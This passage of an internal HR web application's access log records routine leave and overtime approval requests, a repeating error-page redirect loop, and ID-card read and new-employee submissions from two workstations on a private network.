/idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.60 - - [02/Dec/2025:11:07:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 74589 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 74589 192.168.11.60 - - [02/Dec/2025:11:07:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49604 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49604 192.168.11.60 - - [02/Dec/2025:11:07:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49604 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49604 192.168.11.60 - - [02/Dec/2025:11:07:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 304488 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 304488 192.168.11.60 - - [02/Dec/2025:11:07:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132683%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132683&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132683%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132683&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:07:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:07:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.146 - - [02/Dec/2025:11:08:01 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:08:01 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:08:01 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:08:01 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [02/Dec/2025:11:08:11 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 213 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:08:11 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 213 192.168.11.60 - - [02/Dec/2025:11:08:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:08:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.60 - - [02/Dec/2025:11:08:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 33319 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:08:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 33319 192.168.11.146 - - [02/Dec/2025:11:08:51 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; 